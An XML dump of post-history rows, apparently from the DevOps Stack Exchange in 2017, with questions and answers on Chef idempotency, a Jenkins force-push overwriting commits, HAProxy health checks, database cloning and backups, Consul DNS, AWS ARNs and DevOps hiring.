  <row Id="4016" PostHistoryTypeId="2" PostId="1211" RevisionGUID="c90dc95f-8637-4b2c-a87e-36608dc90942" CreationDate="2017-05-19T16:27:52.543" UserId="677" Text="Your probably looking more at the calibre of your platform engineers. You don't want to make developers jobs hardware nor do you want your software engineers to need to handle more complexity, it's simply contrary to your goal.&#xA;&#xA;Instead it sounds like you are looking for a platform engineer who is able to wrangle the relevant technologies together so that they become transparent to the user's (devs) as the devs becomes more comfortable using them they will be able to stretch out and use some of the more unique features, but until then, providing some abstraction from the underlying complexity is probably a good idea." ContentLicense="CC BY-SA 3.0" />
  <row Id="4017" PostHistoryTypeId="5" PostId="1210" RevisionGUID="2534e232-b251-44f4-9c0d-a7b3573cc0a5" CreationDate="2017-05-19T17:21:08.590" UserId="2681" Comment="formatting" Text="I need to install a jenkins on a server using a user jenkinsuser and group jenkinsgroup. so in my recipe I defined as &#xD;&#xA;&#xA;&#xD;&#xA;    #group&#xD;&#xA;    group jenkinsgroup do&#xD;&#xA;      system true&#xD;&#xA;    end&#xD;&#xA;    # creates user&#xD;&#xA;    user jenkinsuser do&#xD;&#xA;      gid jenkinsgroup&#xD;&#xA;      system true&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;but what will happen if the user and group exist already in node (where I am trying to install jenkins) &#xD;&#xA;Does my resource do nothing as a user and group exists and go for next steps or will it throw an error as user exists?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4018" PostHistoryTypeId="24" PostId="1210" RevisionGUID="2534e232-b251-44f4-9c0d-a7b3573cc0a5" CreationDate="2017-05-19T17:21:08.590" Comment="Proposed by 2681 approved by 228, 40 edit id of 347" ContentLicense="CC BY-SA 3.0" />
  <row Id="4019" PostHistoryTypeId="5" PostId="1206" RevisionGUID="76df04ff-041d-4ca8-a023-22ef07efea56" CreationDate="2017-05-19T18:31:51.407" UserId="736" Comment="added clarification" Text="A while ago I had written about how commits were being merged (successfully) into our develop branch in Git, but would later go missing, with no evidence of the missing code other than all the Bitbucket logs proving the merge happened. &#xD;&#xA;&#xD;&#xA;We just figured out yesterday that what's happening is Jenkins clones our repo, then holds it for up to 40+ minutes while jobs run, then pushes back with `git push origin +develop`. This is essentially overwriting any commits we've made in that 40+ minutes as Jenkins pushes back the branch exactly as it saw it on the clone, and minus our additions. &#xD;&#xA;&#xD;&#xA;We thought the solution would be to change to &#xD;&#xA;&#xD;&#xA;    git pull --rebase origin&#xD;&#xA;    git push origin develop&#xD;&#xA;&#xD;&#xA;but that's returning &#xD;&#xA;&#xD;&#xA;    + git pull --rebase origin&#xD;&#xA;    error: Cannot pull with rebase: You have unstaged changes.&#xD;&#xA;&#xD;&#xA;To clarify, Jenkins' &quot;branch&quot; has files on it that we do need merged into the repo. The ideal situation is to find the right way to do a fresh pull of develop into Jenkins' copy before pushing back.&#xD;&#xA;&#xD;&#xA;What's the correct git procedure to avoid this issue?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4020" PostHistoryTypeId="2" PostId="1212" RevisionGUID="f9ba4284-8dce-41f4-9d69-2010c7908a39" CreationDate="2017-05-19T19:10:55.750" UserId="488" Text="It really depends on your situation, but I'll go with the generic/naive approach and say do exactly what your developers do in the same situation: I pulled an hour ago, I made some changes, now I want to push my changes, but other changes have been pushed in the meantime. I commit, pull/rebase, then push. Assuming that whatever Jenkins is committing isn't tied to the commit it built from, this is the same process it should follow to get the same result." ContentLicense="CC BY-SA 3.0" />
  <row Id="4021" PostHistoryTypeId="2" PostId="1213" RevisionGUID="bd5a2464-17ea-4e82-85fa-5e5df5450b59" CreationDate="2017-05-19T19:14:24.910" UserId="488" Text="It does nothing. A huge part of the purpose of Chef is that converges are *[idempotent][1]*, meaning you can run them repeatedly with no cumulative effects. I highly recommend consulting the [Chef documentation][2] as it will provide an excellent foundation for understanding how and why Chef works.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wiktionary.org/wiki/idempotent&#xD;&#xA;  [2]: https://docs.chef.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4023" PostHistoryTypeId="2" PostId="1214" RevisionGUID="c9806ebc-f1ad-42fb-be41-93ca057422d5" CreationDate="2017-05-19T21:54:47.513" UserId="2846" Text="  I apologize for the novel length response, but I want the industry to start having these discussions as the potential advantages are huge.&#xD;&#xA;&#xD;&#xA;  The problem is not that it is necessarily more complicated but that it requires experience that is difficult to find today and which goes against traditional models.&#xD;&#xA;&#xD;&#xA;  This is not an uncommon occurrence in the computing industry, and I personally remember a time when TCP/IP was considered too complicated.  The talent base will grow over time though.&#xD;&#xA;&#xD;&#xA;Here are the main barriers I see today: &#xD;&#xA;&#xD;&#xA;Tools:&#xD;&#xA;&#xD;&#xA;  On the platform side most Engineers are just really starting to leverage automation. Unfortunately they are leveraging configuration management tools which were designed to solve a different problem. As an example Puppet and Chef assume idempotency and long lived systems.  A large portion of the industry is just starting to get good at those tools but they are inappropriate for a model where dynamic istanciation is the rule and long lived systems are rare.&#xD;&#xA;&#xD;&#xA;Most of the monitoring tools or management tools in use also assume long lived systems do not work well in a dynamic environment.&#xD;&#xA;&#xD;&#xA;Then there is the whole *we must have a single source of truth* problem that I will ignore, however it is a significant barrier.&#xD;&#xA;&#xD;&#xA;Virtualization:&#xD;&#xA;&#xD;&#xA;   This is mostly an issue with vendor lock-in and market forces.  But many SE's have been separated from the simple mechanics of virtualization that their is a knowledge gap.  These individuals are capable of the work but have spent most of their time managing vendors so understanding concepts like linux namespaces or c-groups is almost foreign.&#xD;&#xA;&#xD;&#xA;Networking:&#xD;&#xA;&#xD;&#xA;Docker and Kubernetes really need network segmentation, and tenant isolation.  While this happens at a google scale most companies are using fragile and expensive *enterprise* solutions.  These tend to either have no automation or massive centralized management.  Really each swarm or cluster needs it's own segment and the technologies like vxlan or sdn that enable this are just popping up. &#xD;&#xA;&#xD;&#xA;Security:&#xD;&#xA;&#xD;&#xA;Related to the lack of overlay networks, or shared VPCs between swarms and clusters across security domains this is a very hard nut for companies to crack right now.  Most security teams have no way to figure out how to audit these systems.  Most teams I see are trying to fix it with solutions that don't directly address the problem.  Segmentation and limited super user access will improve security in the long run, but like most humans they can't really parse json policy files with ease.&#xD;&#xA;&#xD;&#xA;Related to the knowledge gap in virtualization, most team do not understand the attack surface involved here.  Mix this in with a tenancy to give into the need for super user access this is an unsolved problem for organizations.  As an example the default AWS VPC limit per region pretty much means anyone running kubernetes in AWS today most likely has serious security issues and any breach will be massive.&#xD;&#xA;&#xD;&#xA;This is less of a problem on GCE but it is a very real concern today. This is far from an unsolvable, but it is a real problem.&#xD;&#xA;&#xD;&#xA;In closing:&#xD;&#xA;&#xD;&#xA;With all of those negatives I still think it is one of the most promising directions looking forward.  But our industry today is full of companies that struggle to even implement OpenStack, which is really just a a bunch of python wrappers, a message bus and a database.&#xD;&#xA;&#xD;&#xA;It will be a hard sell for a while, but the advantages of true loose coupling will probably win out in the end." ContentLicense="CC BY-SA 3.0" />
  <row Id="4024" PostHistoryTypeId="5" PostId="1205" RevisionGUID="dc939db1-4212-4da7-84bb-3303cd7ff31f" CreationDate="2017-05-19T22:09:04.397" UserId="465" Comment="added 88 characters in body" Text="Our build system at work is a series of [Go][1] pipelines with go agents running in [docker][2] containers on a docker cluster. It compiles java and runs tests. This is in a financial services institution. &#xA;&#xA;We're using consul and registrator for service discovery and vault for secret storage.&#xD;&#xA;&#xD;&#xA;I've experienced some pushback in my workplace about the perceived complexities of using docker for running compiles and tests. To counter this I've written lots of documentation, and run training courses. &#xD;&#xA;&#xD;&#xA;There [are][3] [some][4] [comments][5] [online][6] [that][7] [docker][8] is [complex][9]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the [Adrian Cockcroft][10] [videos][11], he mentions that in some cases they had to hire Google-level engineers, to wrap their heads around the concepts of distributed computing. In another video he mentions that it took them seven years to achieve their vision of containerisation. &#xD;&#xA;&#xD;&#xA;My question is: **Is there evidence to suggest that the Docker/Hashicorp ecosystem requires a higher calibre of software development engineer?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thoughtworks.com/go/&#xD;&#xA;  [2]: https://www.docker.com/&#xD;&#xA;  [3]: https://news.ycombinator.com/item?id=12876264&#xD;&#xA;  [4]: https://news.ycombinator.com/item?id=13583990&#xD;&#xA;  [5]: https://news.ycombinator.com/item?id=12930414&#xD;&#xA;  [6]: https://news.ycombinator.com/item?id=12883163&#xD;&#xA;  [7]: https://news.ycombinator.com/item?id=9927349&#xD;&#xA;  [8]: https://news.ycombinator.com/item?id=11942192&#xD;&#xA;  [9]: https://news.ycombinator.com/item?id=12779796&#xD;&#xA;  [10]: https://www.battery.com/our-team/member/adrian-cockcroft/&#xD;&#xA;  [11]: https://www.google.com.au/search?biw=1190&amp;bih=704&amp;tbm=vid&amp;q=netflix%20docker%20adrian%20cockcroft&amp;oq=netflix%20docker%20adrian%20cockcroft&amp;gs_l=serp.3...19347.23489.0.23673.19.15.0.0.0.0.661.2531.3-4j1j1.6.0....0...1.1.64.serp..14.4.1428...33i160k1j33i21k1.Ea4XNsHYLKQ" ContentLicense="CC BY-SA 3.0" />
  <row Id="4025" PostHistoryTypeId="2" PostId="1215" RevisionGUID="3cfc5aa5-262d-4490-af39-bdeef2d2c7db" CreationDate="2017-05-19T22:30:20.873" UserId="2846" Text="This is an area where Kubernetes has the correct model, there should be a load balancer between all systems which should have functional health checks.&#xD;&#xA;&#xD;&#xA;Once you start to add Nagios, Zabbix or other types of monitoring to the system you start to build a large state machine.  This will break the loose coupling model and introduce inter-dependencies that inhibit the ease refactoring.  While not set in stone the key differentiation between microservices and other variants of SOA is this loose coupling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If the services are fine-grained and perform a single function, implement a health check at an upstream load balancer, then monitor the active pool members.&#xD;&#xA;&#xD;&#xA;As an example in HAproxy&#xD;&#xA;&#xD;&#xA;    backend myapp&#xD;&#xA;    [...]&#xD;&#xA;    option tcp-check&#xD;&#xA;    tcp-check send GET\ /health HTTP/1.0\r\n&#xD;&#xA;    tcp-check send Host:\ foo\r\n&#xD;&#xA;    tcp-check send \r\n&#xD;&#xA;    tcp-check expect rstring ^HTTP/1.1\ 200\ Ok&#xD;&#xA;    tcp-check expect string container\ Good&#xD;&#xA;    server srv1 10.0.0.1:8080 check&#xD;&#xA;    server srv2 10.0.0.2:8080 check&#xD;&#xA;&#xD;&#xA;In theory you don't care about the performance of an actual container, just that your overall performance is good.&#xD;&#xA;&#xD;&#xA;This method makes it easy to have the system self repair and to scale with a minimal amount of complexity.&#xD;&#xA;&#xD;&#xA;Basically you only have to check if the number of systems you expect are alive, and if not you spin up some more.  If you need to add capacity you simply change the number of expected nodes.&#xD;&#xA;&#xD;&#xA;This also simplifies refactoring as you only need to replicate or modify this test with no external dependencies or state machine.&#xD;&#xA;&#xD;&#xA;It should also reduce down time and middle of the night Pagerduty alerts as the system self repairs.&#xD;&#xA;&#xD;&#xA;As for the overall systems metrics, which are needed to trace down issues like latency I would want them in a central location using a tool like elasticsearch.  If you use syslog, logstash or log4??? to collect metrics that will be far more useful in the long run.  When systems are small and simple traditional polling based monitoring may provide enough metrics but it is preferable to have them in a format that is searchable and more importantly relational to other systems.&#xD;&#xA;&#xD;&#xA;Solutions like monit still have their place, but it is to monitor the long lived components like the VMs or bare metal hosting your swarm, but the containers themselves should be decoupled from that system to get the most benefits from a micro-services model." ContentLicense="CC BY-SA 3.0" />
  <row Id="4026" PostHistoryTypeId="2" PostId="1216" RevisionGUID="17a66c3b-bf73-4493-aa86-1cc1c186e44e" CreationDate="2017-05-19T22:53:28.133" UserId="2846" Text="While it may not be the answer you are looking for, puppet's DSL lacks verbs on purpose.  Puppet's idempotent philosophy is a huge reason it is so useful for some use cases but for this type of need you will want to use a tool which is more targeted to that role.&#xD;&#xA;&#xD;&#xA;When you hit limitations due to the idempotent philosophy of Puppet it is a good indication that another tool is required for that need.&#xD;&#xA;&#xD;&#xA;I would look for publicly maintained tools for the task maybe in Ansible or Terraform.&#xD;&#xA;&#xD;&#xA;We leveraged the &quot;puppet kick&quot; functionality of puppet and then tried to extend it after it was deprecated and the pain of trying to ignore their design philosophy is an expensive one." ContentLicense="CC BY-SA 3.0" />
  <row Id="4027" PostHistoryTypeId="2" PostId="1217" RevisionGUID="ef1a6529-3021-4c9e-9861-e13aaab448f6" CreationDate="2017-05-19T23:10:46.057" UserId="2846" Text="Assuming that &quot;publicly available&quot; is on the public internet it will be difficult.&#xD;&#xA;&#xD;&#xA;DNS isn't really that reactive to changes and is challenging to run in a secure fashion on the public internet.&#xD;&#xA;&#xD;&#xA;It also depends on what protocol you are running, because of an oddity around SRV records where pre-existing protocols were excluded from supporting it in the RFC.&#xD;&#xA;&#xD;&#xA;But in general the public and the private solution I would implement are similar with an additional layer for a public internet solution. (assuming no use of a 3rd party or geo specific answers)&#xD;&#xA;&#xD;&#xA;On the internet edge use [Unbound DNS server][1] on the edge, and have it relay queries to [consul][2] which would handle service registration.&#xD;&#xA;&#xD;&#xA;If this is for private usage this would allow for some data-center awareness and fail-over.&#xD;&#xA;&#xD;&#xA;If it is just for internal use you can just use consul and either configure your internal DNS servers to delegate subdomains or forward to the default domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.unbound.net/&#xD;&#xA;  [2]: https://www.consul.io/docs/agent/dns.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4029" PostHistoryTypeId="2" PostId="1219" RevisionGUID="f303d97b-a9d7-48fe-9b5b-fde3c2211efc" CreationDate="2017-05-20T05:59:32.283" UserId="465" Text="At work we have a [Go][1] [CD pipeline][2] for producing [docker][3] [images][4], and scheduling docker containers with [rancher][5]. &#xD;&#xA;&#xD;&#xA;This works quite well. You can [commit][6] a change to the Docker image in [Git][7], the pipeline will pick it up, and upgrade the container. (The CD pipeline tags the version of the docker image with the build number of the pipeline, and this provides continuity throughout the upgrade.)&#xD;&#xA;&#xD;&#xA;We have a similar arrangement with AWS AMIs using [Hashicorp][8] [Packer][9] and [terraform][10]. You can make a change to a packer json file in git, the pipeline will rebuild a new AMI.  Given the user's approval in Go (we have some stage-gates in Go) this can then in theory to stop the existing ec2 instance and start a new one based on the AMI that was built. (The ID of the AMI is passed through the pipeline.)&#xD;&#xA;&#xD;&#xA;In practice terraform doesn't work quite as well in a pipeline. (Compared to docker). Sometimes it is just the sheer complexity of things associated with an EC2 instance and corresponding VPC/routing arrangements can tangle it. Sometimes it is that you need to custom-write your own tests to see if the EC2 instance was stopped, and then started. &#xD;&#xA;&#xD;&#xA;Is there a broader consensus on this issue? Are there some patterns I'm missing? Or is it just that when you're on the bleeding edge, things hurt a bit?&#xD;&#xA;&#xD;&#xA;My question is: **What are the arguments against using packer and terraform in a CD pipeline?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thoughtworks.com/go/&#xD;&#xA;  [2]: https://devops.com/continuous-delivery-pipeline/&#xD;&#xA;  [3]: https://www.docker.com/&#xD;&#xA;  [4]: https://docs.docker.com/engine/reference/commandline/images/&#xD;&#xA;  [5]: http://rancher.com/rancher/&#xD;&#xA;  [6]: https://git-scm.com/docs/git-commit&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Git&#xD;&#xA;  [8]: https://www.hashicorp.com/&#xD;&#xA;  [9]: https://www.packer.io/&#xD;&#xA;  [10]: https://www.terraform.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4030" PostHistoryTypeId="1" PostId="1219" RevisionGUID="f303d97b-a9d7-48fe-9b5b-fde3c2211efc" CreationDate="2017-05-20T05:59:32.283" UserId="465" Text="What are the arguments against using packer and terraform in a CD pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4031" PostHistoryTypeId="3" PostId="1219" RevisionGUID="f303d97b-a9d7-48fe-9b5b-fde3c2211efc" CreationDate="2017-05-20T05:59:32.283" UserId="465" Text="&lt;docker&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;packer&gt;&lt;gocd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4032" PostHistoryTypeId="5" PostId="1052" RevisionGUID="d9dd2592-b92d-4e79-86c8-968b721b0d36" CreationDate="2017-05-21T00:07:29.973" UserId="538" Comment="added 27 characters in body" Text="Is there a similar devops tool to fabric with javascript as its scripting language. I'm specifically interested in the remote execution side.&#xD;&#xA;&#xD;&#xA;http://www.fabfile.org/&#xD;&#xA;&#xD;&#xA;Most of the tools I've found rely on python or ruby. However, in my team we don't use these languages for anything else. While these languages may be great, they are not as universal as javascript in the web development industry.&#xD;&#xA;&#xD;&#xA;I mention fabric because it's ideal for what I want except that I have minimal python skills (sadly).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4033" PostHistoryTypeId="2" PostId="1220" RevisionGUID="019012af-e87c-4ee0-9dfc-093c0017b451" CreationDate="2017-05-21T04:36:17.390" UserId="2845" Text="The Challenges&#xD;&#xA;--------------&#xD;&#xA;-----------------------------------------------&#xD;&#xA;&#xD;&#xA;&gt;I am aware that there are practices such as only adding database objects, i.e. tables and columns, never modifying or removing them&#xD;&#xA;&#xD;&#xA;At one company I worked for, a rolling window of raw data equated to about 6 months and ate up 10 TB.  The data was then processed into an RDBMS format which cost 6 TB of usable data which accounted for about 10 years of reportable data. The point being that at scale, these kinds of practices simply aren'&#xD;&#xA;t practical. Storage is expensive - probably the greatest compute expense. This provides several interesting challenges:&#xD;&#xA;&#xD;&#xA; 1. **Backups** - the innodb plugins are great and all, but the backup times on that much data just aren't that practical&#xD;&#xA; 2. **Restore times** - for large datasets - especially if you need replication to catch up after a restore getting back to an operational state can take days or even weeks&#xD;&#xA; 3. **Creating/seeding new instances** - Often the work you may be doing in dev/test involves ETL (Extract, Transform and Load) jobs on your dataset.  These need to be validated using QA testing units, but this needs to be done in a non-destructive manner so that the origional production dataset is preserved. While in a disaster, you may be willing to deal with a long restore time on the understanding that backups are an insurance policy and the intent is to avoid them, the DevOps development workflow requires that, essentially, you be able to perform a restore or copy of your data on a regular basis (perhaps multiple times a day)&#xD;&#xA; 4. **Capacity** - Slinging around that much data at the scale I just described can be very I/O intensive. No only do you need to address the problems described in 1-3, but you need to do it in a way that doesn't cause outages or performance slowdowns to your production systems.&#xD;&#xA;&#xD;&#xA;While the above considerations may not be a concern at smaller scales, at larger scales, these become huge problems. This means that it is ***extremely important*** that you define your requirements and forecast the size of your dataset.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Defining requirements&#xD;&#xA;---------------------&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;As a result, you need to define several requirements:&#xD;&#xA;&#xD;&#xA;  1. **RTO** - RTO or Restore Time Objective for backups are one of the most important drivers of database backup solutions. While, at first it might not appear relevant to most of the other problems, it becomes extremely relevant when you ask &quot;What if I used my backup solution for creating or seeding new instances?&quot;. I'll cover some techniques for doing so in the next section.&#xD;&#xA;  2. **RPO** - RPO or Restore Point Objective for backups defines A) how far back you are able to restore (minutes, hours, days, weeks, months, or years) B) The backup interval at different tiers and C) how granularly you can restore. For example, for E-mail databases, Message Level Backups - restoring a specific E-mail - are often sought. Similarly, you may find that data over a few days is completely useless - so there is no point restoring back a year.&#xD;&#xA;  3. **Size of your dataset** - This is important because for a 1MB database, your RTO may be achieved with most backup products and solutions. For a 10TB database however, you will find that a full, row level backup to LTO 3 tape *probably* won't achieve your RTO and could interfere with your RPO because backups begin exceeding your backup window. You can't exactly just do a mysqldump on this large of a dataset, but could probably get away with that on the 1MB database.&#xD;&#xA;  4. **Database consistency** - A final thing that makes an immense difference in continuous deployment, site reliability, scalability and high-availablity when working with databses is your need (or lack thereof) for consistency. There are three basic types: immediate consistency, Just-In-Time (JIT) consistency and eventual consistency&#xD;&#xA;  &#xD;&#xA;In addition to the above major considerations, you also need to consider licensing and support requirements (open source or closed source; in house support, third party support or vendor support) application/language requirements (the connectors for many databases can be important; is your app compiled? Do you have access to the source code? Can you recompile it, or is it provided by a vendor? Or does it run on an interpreted language?) political requirements (Does your organization only trust Oracle? Do they hate oracle? Do they not trust MySql? How do you feel about MariaDB or Postgres?) and database engine (innoDB? MyISAM? Blackhole? NDB Cluster? Spider?) and historical or compatability requirements (we used PL/SQL for years and half our code is built into the oracle engine! How could we ever port over to MariaDB?!?)&#xD;&#xA;&#xD;&#xA;All of these things (significantly) impact the tools available to you.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Some Options for in-house data management&#xD;&#xA;-----------------------------------------&#xD;&#xA;------------------------&#xD;&#xA;&#xD;&#xA;*Note: The following is in no way exhaustive, and other SE users should chime in with additional suggestions.*&#xD;&#xA;&#xD;&#xA;With the generic considerations out of the way, let me provide you with some techniques and technologies for addressing the above. First, ask yourself if you really *need* to use an RDBMS or if unstructured data with something like Hadoop, CouchDB or even Object Oriented Storage (something like swift) is an option. &#xD;&#xA;&#xD;&#xA;Second, consider looking into a cloud based solution. This outsources some of this headache and leaves the complicated problems to highly qualified (and paid) individuals. At scale however, you can find this really eats into your budget (cloud providers DO make a profit at this, and at a certain scale, you can just afford to employ these experts yourself,) or if you are working under specific security or political requirements (read: we can't do clouds) consider a hybrid NFS/FibreChannel Filer. Most of these filers, such as those by NetApp, Pure Storage and Tegile support a delta based snapshotting and cloning technique that can be very handy for A) taking backups, B) Restoring backups and C) Seeding new backups.&#xD;&#xA;&#xD;&#xA;At this point, I need to note that I am not a backup and storage expert, so there some portions of this problem that I never quite was able to solve before I moved on to other problems (and greener pastures).&#xD;&#xA;&#xD;&#xA;*But* that being said, these products allow you to take differential snapshots underneath your databse. You will need to script out a full &quot;lock tables with read lock&quot; on one of your database instances (a read-only slave is recommended) and dump your binlog position or GTID but for these filers, once you do, you will be able to use these snaps to create new instances of your database. You will want to put binlogs on a seperate partition and put only your database data on these partitions. Once you do, you will be able to clone these partitions (on NetApps, this is know as a &quot;[FlexClone](https://www.youtube.com/watch?v=c8VI_L5K8VM)&quot;) The only issue with these is that they cannot span datastores which means that all your I/O is still impacting the same datastore/volume and calculating deltas can cause some overhead in terms of CPU resources.&#xD;&#xA;&#xD;&#xA;This is because for each block read the filer must determine if the data resides in the frozen origional snapshot, or in the delta. For volumes/stores with multiple snapshots, this might need to be checked multiple times. You can overcome this by refreshing the data (meaning, discard your snapshot and clone it again periodically - which might happen naturally and organically for a good continuous deployment environment) Or by permanently splitting the volume (known as a &quot;Flex Split&quot; in NetApp terminology) which will take a moment to permanently resolve the deltas and create an entirely new and seperate volume.&#xD;&#xA;&#xD;&#xA;These delta clones have the added benefit of reducing your overall storage requirement - you can spawn several clones or instance of your production database data to do your development, testing and validation. If you are only keeping one copy of your large dataset plus the (what are likely to be) small deltas, you reduce your overall storage cost and footprint.&#xD;&#xA;&#xD;&#xA;The only trick here is that this may not constitute a full backup solution as the &quot;backup&quot; still resides on your filer. For this you may need to use something NetApp calls a Snap Mirror which will mirror data (using rsync-style technology) between filers and even datacenters, or use some type of integrated backup solution which can backup to tape one of your delta snapshots or a flex-clone.&#xD;&#xA;&#xD;&#xA;This however has one major flaw: All of your data - dev, test and prod is *still* using I/O on the same filer and storage head. To work around this, consider creating a slave database instance on a second filer which can be the seeding point for you Test and/or dev filer, or consider using a load balancer/applcation delivery controller for your application layer to mirror production requests into your testing (and/or dev) environment(s). This has the added benefit of throwing prodcution traffic at your QA/Test environment before promoting to production for issues that might not be immediately noticed. You can then check your logs for errors based on production traffic and user behavior.&#xD;&#xA;&#xD;&#xA;This then should allow you to use a few script to programatically spawn and destroy entire (and large) datasets for use with continuous deployment methodologies.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt; &#xD;&#xA;Scalability and High Availability&#xD;&#xA;---------------------------------&#xD;&#xA;&#xD;&#xA;While you asked about continuous deployment, DevOps is conserned with more than *just* continuous deployment - so I am going to include some bits about redundancy, scalability and high availability. &#xD;&#xA;&#xD;&#xA;I mentioned, JIT, immediate and eventual consistency. This is where varous RDBMS engines come in. Eventual consistency is relatively easy by simply configuring circular asynchronous replication. This can cause some collisions however *(what if your application layer updates data on one side of the cluster and on the other side of the cluster before replication is completed?) For immediate consistency, look at Galera cluster which will force synchronous replication, but causes scalability issues (how will you replicate to your Disaster Recovery site or load balance geographically without incurring significant latency due to propigation delay at the network layer?) You can also see if you can do synchronous replication within the datacenter and asynchronous replication between sites, but this seems the worst of both worlds.&#xD;&#xA;&#xD;&#xA;Typically however, most poeple do not need fully synchronous replication - this is *usually* only needed for very specific (and exotic) high-write environments where multi-master is needed with table sharding. Most apps can deal with Just-In-Time consistency using a database proxy. For example, [ScaleArc](http://www.scalearc.com/) will monitor replication status and track where writes just went (to send subesquent read requests until replication catches up) to provide Just-In-Time consistency and the *appearance* of database consistency. ScaleArc is compatable with Postgres, MySQL, MariaDB, Oracle and MSSQL and can use regular expressions to shard/partition your databases for applications that can't use shard keys. It also has a robust REST API for your configuration management software to interact with - and their support team is outstanding&#xD;&#xA;&#xD;&#xA;Similarly, you might wish to consider a free alternative, [MaxScale](https://mariadb.com/products/mariadb-maxscale) developed by the MariaDB team for MariaDB. It lacks the GUI and some of the caching features of ScaleArc however.&#xD;&#xA;&#xD;&#xA;Finally, MySQL fabric (and the in-RAM only MySQL Cluster - if you can afford that much RAM) are other potentials - especially with MySQL's new proxy. This can provide the scalability and redundancy component to your environment.&#xD;&#xA;&#xD;&#xA;Postgres and Oracle should have the replication and sharding features you need, but ScaleArc will pair well if you need a proxy.&#xD;&#xA;&#xD;&#xA;Ultimately, all these peices add up to a highly flexible environment suitable for continuous deployment and development if you are unable to simply use a cloud based environment and let your cloud provider deal with the above problems for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="4034" PostHistoryTypeId="33" PostId="742" RevisionGUID="883c8c21-9964-4431-bd6a-596618744039" CreationDate="2017-05-21T08:47:21.527" UserId="14" Comment="2" />
  <row Id="4035" PostHistoryTypeId="2" PostId="1221" RevisionGUID="caa4d757-36db-4384-ab0c-87e3c2af50ea" CreationDate="2017-05-21T10:13:35.873" UserId="397" Text="I am creating an [AWS IAM][1] policy for a Serverless Framework project, I am applying the [Principle of Least Privilege][2] to ensure the policy is as tight as possible.  To restrict the scope of the policy I need to be able to identify the [ARN][3] for each of the resources, i.e.:&#xD;&#xA;&#xD;&#xA;    arn:aws:logs:us-east-1:123456789012:log-group:my-log-group:*&#xD;&#xA;&#xD;&#xA;Looking through the CloudWatch and CloudFormation UIs I can't actually see any mention of the resulting ARN for a created log group.&#xD;&#xA;&#xD;&#xA;*Question: For any resource within Amazon Web Services how can I obtain the ARN?*&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Principle_of_least_privilege&#xD;&#xA;  [3]: http://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4036" PostHistoryTypeId="1" PostId="1221" RevisionGUID="caa4d757-36db-4384-ab0c-87e3c2af50ea" CreationDate="2017-05-21T10:13:35.873" UserId="397" Text="How to get the ARN for an arbitrary Amazon Resource?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4037" PostHistoryTypeId="3" PostId="1221" RevisionGUID="caa4d757-36db-4384-ab0c-87e3c2af50ea" CreationDate="2017-05-21T10:13:35.873" UserId="397" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4039" PostHistoryTypeId="2" PostId="1222" RevisionGUID="b5010b1c-923b-42ae-ad71-858071889e98" CreationDate="2017-05-22T02:17:35.360" UserId="2845" Text="You shouldn't hire a DevOps engineer because DevOps encompasses such a wide variety of disciplines that one individual cannot possibly be an expert in all aspects of these disciplines. By hiring a jack of all trades, you would be hiring a master of none.&#xD;&#xA;&#xD;&#xA;DevOps is necessarily a *team* based endeavor and you cannot possibly expect one individual to support the expectations of an entire team. Consider the scope of DevOps. One person cannot possibly:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; * Be a rockstar developer in [language]&#xD;&#xA; * Be a networking guru, knowing all requisite RFCs&#xD;&#xA; * Be an exert Systems Administrator&#xD;&#xA; * Be an expert QA tester&#xD;&#xA; * Be a Database Administrator&#xD;&#xA; * Specialize in storage and backup&#xD;&#xA; * Know Site Reliability Engineering&#xD;&#xA; * Potentially other disciplines as well&#xD;&#xA;&#xD;&#xA;Some of the above even have *sub* disciplines, such as Windows Systems Admin vs. Linux/Unix System admin or maybe you use more than one coding language in your.&#xD;&#xA;&#xD;&#xA;No one person can possibly be an expert in all this which means that if you are adverting for a DevOps engineer, when the weakest area on your DevOps team is &#xD;&#xA;Networking, you are not doing a very good job of advertising your need for a networking *specialist* for your DevOps *team*. While no individual should be pigeon-holed to a specific role in the DevOps team, you would do your team a disservice by pretending there are no specialists or subject matter experts (SMEs) within the scope of DevOps. Swinging the pendulum from one extreme to the other -  from silo-ing to pretending like every role on your DevOps team is the same - can cause just as many problems.&#xD;&#xA;&#xD;&#xA;While having team members cross-train in more than one discipline - particularly in the overlapping areas is good, expecting them to be able to be proficient in such a wide volume of knowledge simply isn't practice.&#xD;&#xA;&#xD;&#xA;This means that anyone who tells you they know all aspects of DevOps is probably lying to you. Hire a specialist in the area you are weakest in who has worked on a DevOps team - not a &quot;DevOps Engineer.&quot;" ContentLicense="CC BY-SA 3.0" />
